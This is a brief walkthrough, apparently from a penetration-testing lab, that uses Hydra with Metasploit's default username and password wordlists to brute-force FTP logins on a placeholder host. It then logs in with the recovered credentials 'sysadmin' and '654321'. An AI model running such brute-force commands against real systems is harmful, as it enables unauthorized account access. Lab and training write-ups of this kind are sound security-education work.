Command : hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt IPAddress ftp
Note : -L = to supply the list of username , -P = Supply the list of passwords
Now try to login in FTP using above credentialsCommand : ftp IPAddress
Note : username=sysadmin and password=654321